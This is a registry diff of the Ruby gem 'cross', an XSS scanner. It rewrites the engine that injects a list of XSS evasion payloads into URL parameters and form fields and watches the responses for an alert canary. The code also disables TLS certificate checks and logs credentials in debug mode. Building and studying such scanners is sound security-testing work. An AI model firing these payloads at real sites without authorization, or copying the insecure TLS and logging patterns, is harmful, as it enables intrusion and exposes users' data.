cross 0.60.0 → 0.70.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/.gitignore +1 -1
- data/.ruby-gemset +1 -0
- data/.ruby-version +1 -0
- data/bin/cross +30 -26
- data/lib/cross/engine.rb +147 -91
- data/lib/cross/url.rb +14 -9
- data/lib/cross/version.rb +1 -1
- data/lib/cross/xss.rb +12 -7
- metadata +4 -3
- data/.rvmrc +0 -2
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 0d64cb7b3b08fc4bb0cd84d9e6397d18f665480f
|
4
|
+
data.tar.gz: 75938bd016b68f625effb11d333591de5c5b4a2a
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 20299787fae7dbceff48b0a9ccede33d6e56398846c6957008abce06a529c6b2915b871ac8a7d1b3b5afa1b4248d01e990cbd526db91a92af845ccebaf3dd0c5
|
7
|
+
data.tar.gz: 88e76a3705afb351f0f0bc6fa3c44196056ab3958ee6cb8d68d7d0196f92213837685acfa3570abf59722e6de216be77da917238c8c5308e57e30760437a0bc4
|
data/.gitignore
CHANGED
data/.ruby-gemset
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
hacking
|
data/.ruby-version
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
ruby-2.0.0-p247
|
data/bin/cross
CHANGED
@@ -7,6 +7,8 @@ require 'cross'
|
|
7
7
|
require 'getoptlong'
|
8
8
|
require 'codesake-commons'
|
9
9
|
|
10
|
+
$logger = Codesake::Commons::Logging.instance
|
11
|
+
|
10
12
|
opts = GetoptLong.new(
|
11
13
|
[ '--help', '-h', GetoptLong::NO_ARGUMENT ],
|
12
14
|
[ '--version', '-v', GetoptLong::NO_ARGUMENT ],
|
@@ -19,18 +21,26 @@ opts = GetoptLong.new(
|
|
19
21
|
['--user', '-U', GetoptLong::REQUIRED_ARGUMENT ],
|
20
22
|
['--password', '-P', GetoptLong::REQUIRED_ARGUMENT ]
|
21
23
|
)
|
22
|
-
trap("INT") {
|
24
|
+
trap("INT") { $logger.die "SIGINT detected. Giving up" }
|
23
25
|
|
24
|
-
options={:exploit_url=>false,
|
25
|
-
|
26
|
-
|
26
|
+
options = {:exploit_url=>false,
|
27
|
+
:debug=>false,
|
28
|
+
:oneshot=>false,
|
29
|
+
:sample_post=>"",
|
30
|
+
:parameter_to_tamper=>"",
|
31
|
+
:auth=>{:username=>nil, :password=>nil},
|
32
|
+
:target=>""
|
33
|
+
}
|
27
34
|
|
28
35
|
opts.each do |opt, arg|
|
29
36
|
case opt
|
30
37
|
when '--help'
|
31
|
-
puts "usage: cross [-
|
32
|
-
puts " -u: exploits the URL string instead of looking at the form values"
|
38
|
+
puts "usage: cross [-D1StucUPhv] target"
|
33
39
|
puts " -D: turns debug on"
|
40
|
+
puts " -1: random select a XSS attack pattern"
|
41
|
+
puts " -S arg: when tampering posts, arg is a valid POST body used as reference. It can be also a text file containg the POST parameters."
|
42
|
+
puts " -t arg: tells cross to tamper the given parameter. It must be used with -S flag turned on"
|
43
|
+
puts " -u: exploits the URL string instead of looking at the form values"
|
34
44
|
puts " -v: shows version"
|
35
45
|
puts " -h: this help"
|
36
46
|
exit 0
|
@@ -49,10 +59,8 @@ opts.each do |opt, arg|
|
|
49
59
|
options[:debug]=true
|
50
60
|
when '--exploit-url'
|
51
61
|
options[:exploit_url]=true
|
52
|
-
|
53
62
|
when '--crawl'
|
54
|
-
|
55
|
-
options[:crawl][:url_prefix] = arg unless arg.nil?
|
63
|
+
$logger.die "deprecated. codesake-crawler must be used instead"
|
56
64
|
when '--user'
|
57
65
|
options[:auth][:username]=arg
|
58
66
|
when '--password'
|
@@ -60,30 +68,26 @@ opts.each do |opt, arg|
|
|
60
68
|
end
|
61
69
|
end
|
62
70
|
|
63
|
-
$logger.helo "cross
|
71
|
+
$logger.helo "cross", Cross::VERSION
|
72
|
+
$logger.die "missing target" if ARGV.length != 1
|
73
|
+
$logger.die "-S and -t flag must be used together" if (options[:sample_post].empty? && ! options[:parameter_to_tamper].empty?) or (! options[:sample_post].empty? && options[:parameter_to_tamper].empty?)
|
64
74
|
|
75
|
+
|
76
|
+
options[:target] = ARGV.shift
|
65
77
|
engine = Cross::Engine.instance
|
66
78
|
engine.start(options)
|
67
79
|
|
68
80
|
found = false
|
69
|
-
$logger.die "missing target" if ARGV.length != 1
|
70
|
-
$logger.die "-S and -t flag must be used together" if (options[:sample_post].empty? && ! options[:parameter_to_tamper].empty?) or (! options[:sample_post].empty? && options[:parameter_to_tamper].empty?)
|
71
|
-
|
72
|
-
if engine.crawl?
|
73
|
-
result = engine.crawl(ARGV.shift)
|
74
|
-
$logger.die result[:message] if result[:status] == 'KO'
|
75
81
|
|
76
|
-
|
77
|
-
|
78
|
-
$logger.log "Exploiting: #{options[:crawl][:url_prefix]+l}"
|
82
|
+
engine.inject
|
83
|
+
unless engine.results.empty?
|
79
84
|
|
80
|
-
|
81
|
-
|
82
|
-
|
83
|
-
|
84
|
-
found = engine.inject(ARGV.shift)
|
85
|
-
$logger.ok "Canary found in output page. Suspected XSS" if found
|
85
|
+
$logger.ok "Canary found in output page. Suspected XSS"
|
86
|
+
engine.results.each do |res|
|
87
|
+
$logger.log res[:evidence]
|
88
|
+
end
|
86
89
|
end
|
87
90
|
|
88
|
-
|
91
|
+
|
92
|
+
$logger.err "Canary not found" if engine.results.empty?
|
89
93
|
$logger.helo "cross is leaving"
|
data/lib/cross/engine.rb
CHANGED
@@ -1,6 +1,7 @@
|
|
1
1
|
require 'mechanize'
|
2
2
|
require 'logger'
|
3
3
|
require 'singleton'
|
4
|
+
require 'URI'
|
4
5
|
|
5
6
|
require 'cross/xss'
|
6
7
|
|
@@ -10,84 +11,75 @@ module Cross
|
|
10
11
|
class Engine
|
11
12
|
include Singleton
|
12
13
|
|
13
|
-
attr_reader
|
14
|
+
attr_reader :agent
|
14
15
|
attr_accessor :options
|
15
|
-
|
16
|
-
|
17
|
-
|
16
|
+
attr_reader :results
|
17
|
+
attr_reader :target
|
18
|
+
|
19
|
+
|
20
|
+
def create_log_filename(target)
|
21
|
+
begin
|
22
|
+
return "cross_#{URI.parse(target).hostname.gsub('.', '_')}_#{Time.now.strftime("%Y%m%d")}.log"
|
23
|
+
rescue
|
24
|
+
return "cross_#{Time.now.strftime("%Y%m%d")}.log"
|
25
|
+
end
|
18
26
|
end
|
19
27
|
|
20
28
|
# Starts the engine
|
21
|
-
def start(options={:exploit_url=>false, :debug=>false, :auth=>{}})
|
22
|
-
@agent = Mechanize.new {|a| a.log = Logger.new(
|
29
|
+
def start(options = {:exploit_url=>false, :debug=>false, :oneshot=>false, :sample_post=>"", :parameter_to_tamper=>"", :auth=>{:username=>nil, :password=>nil}, :target=>""})
|
30
|
+
@agent = Mechanize.new {|a| a.log = Logger.new(create_log_filename(options[:target]))}
|
23
31
|
@agent.user_agent_alias = 'Mac Safari'
|
24
32
|
@agent.agent.http.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
25
33
|
@options = options
|
34
|
+
@target = options[:target]
|
35
|
+
@results = {}
|
26
36
|
end
|
27
37
|
|
28
|
-
|
29
|
-
|
30
|
-
|
31
|
-
|
32
|
-
|
33
|
-
|
34
|
-
|
35
|
-
|
36
|
-
|
38
|
+
|
39
|
+
# def crawl(url)
|
40
|
+
# start if @agent.nil?
|
41
|
+
|
42
|
+
# links = []
|
43
|
+
# @agent.add_auth(url, @options[:auth][:username], @options[:auth][:password]) if authenticate?
|
44
|
+
# begin
|
45
|
+
# page=@agent.get(url)
|
46
|
+
# page=@agent.get(url) if authenticate?
|
47
|
+
# page.links.each do |l|
|
48
|
+
# @agent.log.debug("Link found: #{l.href}") if debug?
|
49
|
+
# links << l.href
|
50
|
+
# end
|
51
|
+
# rescue Mechanize::UnauthorizedError
|
52
|
+
# return {:status=>'KO', :links=>[], :message=>'target website requires authentication'}
|
53
|
+
# rescue => e
|
54
|
+
# return {:status=>'KO', :links=>links, :message=>e.to_s}
|
55
|
+
# end
|
56
|
+
|
57
|
+
# return {:status=>'OK', :links=>links, :message=>''}
|
58
|
+
# end
|
59
|
+
|
60
|
+
def inject
|
37
61
|
start if @agent.nil?
|
38
62
|
|
39
|
-
|
40
|
-
@agent.add_auth(url, @options[:auth][:username], @options[:auth][:password]) if authenticate?
|
41
|
-
begin
|
42
|
-
page=@agent.get(url)
|
43
|
-
page=@agent.get(url) if authenticate?
|
44
|
-
page.links.each do |l|
|
45
|
-
@agent.log.debug("Link found: #{l.href}") if debug?
|
46
|
-
links << l.href
|
47
|
-
end
|
48
|
-
rescue Mechanize::UnauthorizedError
|
49
|
-
return {:status=>'KO', :links=>[], :message=>'target website requires authentication'}
|
50
|
-
rescue => e
|
51
|
-
return {:status=>'KO', :links=>links, :message=>e.to_s}
|
52
|
-
end
|
53
|
-
|
54
|
-
return {:status=>'OK', :links=>links, :message=>''}
|
55
|
-
end
|
56
|
-
|
57
|
-
def inject(url)
|
58
|
-
start if @agent.nil?
|
63
|
+
$logger.log "Authenticating to the app using #{@options[:auth][:username]}:#{@options[:auth][:password]}" if debug? && authenticate?
|
59
64
|
|
60
|
-
|
65
|
+
@agent.add_auth(@target, @options[:auth][:username], @options[:auth][:password]) if authenticate?
|
61
66
|
|
62
|
-
@agent.add_auth(url, @options[:auth][:username], @options[:auth][:password]) if authenticate?
|
63
|
-
|
64
|
-
found = false
|
65
67
|
if @options[:exploit_url]
|
66
68
|
# You ask to exploit the url, so I won't check for form values
|
67
69
|
|
68
|
-
|
69
|
-
|
70
|
-
Cross::Attack::XSS.each do |pattern|
|
71
|
-
attack_url.params.each do |par|
|
72
|
-
|
73
|
-
page = @agent.get(attack_url.fuzz(par[:name],pattern))
|
74
|
-
@agent.log.debug(page.body) if debug?
|
75
|
-
|
76
|
-
scripts = page.search("//script")
|
77
|
-
scripts.each do |sc|
|
78
|
-
$logger.log(page.body) if @options[:debug] if sc.children.text.include?("alert(#{Cross::Attack::XSS::CANARY})")
|
79
|
-
return true if sc.children.text.include?("alert(#{Cross::Attack::XSS::CANARY})")
|
80
|
-
end
|
70
|
+
theurl= Cross::Url.new(@target)
|
81
71
|
|
82
|
-
|
72
|
+
attack_url(theurl, Cross::Attack::XSS.rand) if oneshot?
|
83
73
|
|
84
|
-
|
74
|
+
if ! oneshot?
|
75
|
+
Cross::Attack::XSS.each do |pattern|
|
76
|
+
attack_url(theurl, pattern)
|
85
77
|
end
|
86
78
|
end
|
87
79
|
|
88
80
|
else
|
89
81
|
begin
|
90
|
-
page = @agent.get(
|
82
|
+
page = @agent.get(@target)
|
91
83
|
rescue Mechanize::UnauthorizedError
|
92
84
|
$logger.err 'Authentication failed. Giving up.'
|
93
85
|
return false
|
@@ -99,48 +91,112 @@ module Cross
|
|
99
91
|
return false
|
100
92
|
end
|
101
93
|
|
102
|
-
|
103
|
-
|
104
|
-
|
105
|
-
|
106
|
-
|
107
|
-
|
108
|
-
|
109
|
-
|
110
|
-
|
111
|
-
|
112
|
-
|
113
|
-
|
114
|
-
|
115
|
-
ff.value = find_sample_value_for(options[:sample_post], ff.name) unless ff.name==options[:parameter_to_tamper]
|
116
|
-
ff.value = pattern if ff.name==options[:parameter_to_tamper]
|
117
|
-
|
118
|
-
end
|
119
|
-
end
|
120
|
-
|
121
|
-
pp = @agent.submit(f)
|
122
|
-
$logger.log "header: #{pp.header}" if debug? && ! pp.header.empty?
|
123
|
-
$logger.log "body: #{pp.body}" if debug? && ! pp.body.empty?
|
124
|
-
$logger.err "Page is empty" if pp.body.empty?
|
125
|
-
scripts = pp.search("//script")
|
126
|
-
scripts.each do |sc|
|
127
|
-
return true if sc.children.text.include?("alert(#{Cross::Attack::XSS::CANARY})")
|
128
|
-
end
|
129
|
-
|
130
|
-
# This is for input html field javascript event evasion
|
131
|
-
inputs = pp.search("//input")
|
132
|
-
inputs.each do |input|
|
133
|
-
return true if ! input['onmouseover'].nil? && input['onmouseover'].include?("alert(#{Cross::Attack::XSS::CANARY})")
|
134
|
-
end
|
135
|
-
end
|
136
|
-
return false if options[:oneshot]
|
94
|
+
|
95
|
+
if page.forms.size == 0
|
96
|
+
$logger.log "no forms found, please try to exploit #{@target} with the -u flag"
|
97
|
+
return false
|
98
|
+
else
|
99
|
+
$logger.log "#{page.forms.size} form(s) found" if debug?
|
100
|
+
end
|
101
|
+
attack_form(page, Cross::Attack::XSS.rand) if oneshot?
|
102
|
+
|
103
|
+
if ! oneshot?
|
104
|
+
Cross::Attack::XSS.each do |pattern|
|
105
|
+
attack_form(page, pattern)
|
106
|
+
end
|
137
107
|
end
|
138
108
|
end
|
139
|
-
|
109
|
+
@results.empty?
|
140
110
|
end
|
141
111
|
|
142
112
|
|
143
113
|
private
|
114
|
+
|
115
|
+
def oneshot?
|
116
|
+
@options[:oneshot]
|
117
|
+
end
|
118
|
+
|
119
|
+
def debug?
|
120
|
+
@options[:debug]
|
121
|
+
end
|
122
|
+
def authenticate?
|
123
|
+
! ( @options[:auth][:username].nil? && @options[:auth][:password].nil? )
|
124
|
+
end
|
125
|
+
|
126
|
+
def attack_url(url = Cross::Url.new, pattern)
|
127
|
+
$logger.log "using attack vector: #{pattern}" if debug?
|
128
|
+
url.params.each do |par|
|
129
|
+
|
130
|
+
page = @agent.get(url.fuzz(par[:name],pattern))
|
131
|
+
@agent.log.debug(page.body) if debug?
|
132
|
+
|
133
|
+
scripts = page.search("//script")
|
134
|
+
scripts.each do |sc|
|
135
|
+
if sc.children.text.include?("alert(#{Cross::Attack::XSS::CANARY})")
|
136
|
+
$logger.log(page.body) if @debug
|
137
|
+
@results << {:page=>page.url, :method=>:get, :evidence=>sc.children.text, :param=>par}
|
138
|
+
|
139
|
+
return true
|
140
|
+
end
|
141
|
+
end
|
142
|
+
|
143
|
+
inputs = page.search("//input")
|
144
|
+
inputs.each do |input|
|
145
|
+
if ! input['onmouseover'].nil? && input['onmouseover'].include?("alert(#{Cross::Attack::XSS::CANARY})")
|
146
|
+
$logger.log(page.body) if @debug
|
147
|
+
@results << {:page=>page.url, :method=>:get, :evidence=>input['onmouseover'], :param=>par}
|
148
|
+
return true
|
149
|
+
end
|
150
|
+
end
|
151
|
+
|
152
|
+
url.reset
|
153
|
+
end
|
154
|
+
|
155
|
+
false
|
156
|
+
end
|
157
|
+
|
158
|
+
def attack_form(page = Mechanize::Page.new, pattern)
|
159
|
+
$logger.log "using attack vector: #{pattern}" if debug?
|
160
|
+
|
161
|
+
page.forms.each do |f|
|
162
|
+
f.fields.each do |ff|
|
163
|
+
if options[:sample_post].empty?
|
164
|
+
ff.value = pattern if options[:parameter_to_tamper].empty?
|
165
|
+
ff.value = pattern if ! options[:parameter_to_tamper].empty? && ff.name==options[:parameter_to_tamper]
|
166
|
+
else
|
167
|
+
ff.value = find_sample_value_for(options[:sample_post], ff.name) unless ff.name==options[:parameter_to_tamper]
|
168
|
+
ff.value = pattern if ff.name==options[:parameter_to_tamper]
|
169
|
+
|
170
|
+
end
|
171
|
+
end
|
172
|
+
|
173
|
+
pp = @agent.submit(f)
|
174
|
+
$logger.log "header: #{pp.header}" if debug? && ! pp.header.empty?
|
175
|
+
$logger.log "body: #{pp.body}" if debug? && ! pp.body.empty?
|
176
|
+
$logger.err "Page is empty" if pp.body.empty?
|
177
|
+
scripts = pp.search("//script")
|
178
|
+
scripts.each do |sc|
|
179
|
+
if sc.children.text.include?("alert(#{Cross::Attack::XSS::CANARY})")
|
180
|
+
$logger.log(page.body) if @debug
|
181
|
+
@results << {:page=>page.url, :method=>:post, :evidence=>sc.children.text}
|
182
|
+
return true
|
183
|
+
end
|
184
|
+
end
|
185
|
+
|
186
|
+
# This is for input html field javascript event evasion
|
187
|
+
inputs = pp.search("//input")
|
188
|
+
inputs.each do |input|
|
189
|
+
if ! input['onmouseover'].nil? && input['onmouseover'].include?("alert(#{Cross::Attack::XSS::CANARY})")
|
190
|
+
$logger.log(page.body) if @debug
|
191
|
+
@results << {:page=>page.url, :method=>:post, :evidence=> input['onmouseover']}
|
192
|
+
return true
|
193
|
+
end
|
194
|
+
end
|
195
|
+
end
|
196
|
+
|
197
|
+
false
|
198
|
+
end
|
199
|
+
|
144
200
|
def find_sample_value_for(sample, name)
|
145
201
|
v=sample.split('&')
|
146
202
|
v.each do |post_param|
|
data/lib/cross/url.rb
CHANGED
@@ -11,17 +11,19 @@ module Cross
|
|
11
11
|
@params = []
|
12
12
|
@original_params = []
|
13
13
|
@base_url = url.split('?')[0]
|
14
|
-
|
15
|
-
|
16
|
-
|
17
|
-
|
18
|
-
|
19
|
-
|
14
|
+
if has_params?
|
15
|
+
p_array = url.split('?')[1].split('&')
|
16
|
+
p_array.each do |p|
|
17
|
+
pp = p.split('=')
|
18
|
+
param = {}
|
19
|
+
param[:name] = pp[0]
|
20
|
+
param[:value] = pp[1] unless pp[1].nil?
|
20
21
|
|
21
|
-
|
22
|
-
|
22
|
+
@params << param
|
23
|
+
@original_params << param.dup
|
24
|
+
end
|
25
|
+
@original_params.freeze
|
23
26
|
end
|
24
|
-
@original_params.freeze
|
25
27
|
end
|
26
28
|
|
27
29
|
def to_s
|
@@ -54,6 +56,9 @@ module Cross
|
|
54
56
|
end
|
55
57
|
end
|
56
58
|
|
59
|
+
def has_params?
|
60
|
+
! @url.split('?')[1].nil?
|
61
|
+
end
|
57
62
|
def params_to_url
|
58
63
|
ret = ""
|
59
64
|
@params.each do |p|
|
data/lib/cross/version.rb
CHANGED
data/lib/cross/xss.rb
CHANGED
@@ -1,12 +1,11 @@
|
|
1
|
+
require 'securerandom'
|
2
|
+
|
1
3
|
module Cross
|
2
4
|
module Attack
|
3
5
|
class XSS
|
4
6
|
|
5
7
|
CANARY = 666
|
6
|
-
|
7
|
-
def self.each
|
8
|
-
|
9
|
-
evasions = [
|
8
|
+
EVASIONS = [
|
10
9
|
"a onmouseover=alert(#{Cross::Attack::XSS::CANARY})",
|
11
10
|
"<script>alert(#{Cross::Attack::XSS::CANARY})</script>",
|
12
11
|
"<script>alert(#{Cross::Attack::XSS::CANARY});</script>",
|
@@ -67,11 +66,17 @@ module Cross
|
|
67
66
|
"+ADw-script+AD4-alert(#{Cross::Attack::XSS::CANARY})+ADw-/script+AD4-", # UTF-7
|
68
67
|
"},alert(#{Cross::Attack::XSS::CANARY}),function x(){//", # DOM breaker
|
69
68
|
"\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3ealert(#{Cross::Attack::XSS::CANARY})\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e" #DOM-based innerHTML injection
|
70
|
-
|
71
|
-
|
69
|
+
]
|
70
|
+
|
71
|
+
def self.rand
|
72
|
+
Cross::Attack::XSS::EVASIONS[SecureRandom.random_number(Cross::Attack::XSS::EVASIONS.size)]
|
73
|
+
end
|
74
|
+
|
75
|
+
|
76
|
+
def self.each
|
77
|
+
Cross::Attack::XSS::EVASIONS.each do |pattern|
|
72
78
|
yield pattern if block_given?
|
73
79
|
end
|
74
|
-
|
75
80
|
end
|
76
81
|
|
77
82
|
end
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: cross
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.
|
4
|
+
version: 0.70.0
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Paolo Perego
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2013-10-
|
11
|
+
date: 2013-10-17 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: rake
|
@@ -119,7 +119,8 @@ files:
|
|
119
119
|
- .document
|
120
120
|
- .gitignore
|
121
121
|
- .rspec
|
122
|
-
- .
|
122
|
+
- .ruby-gemset
|
123
|
+
- .ruby-version
|
123
124
|
- Gemfile
|
124
125
|
- LICENSE
|
125
126
|
- README.rdoc
|
data/.rvmrc
DELETED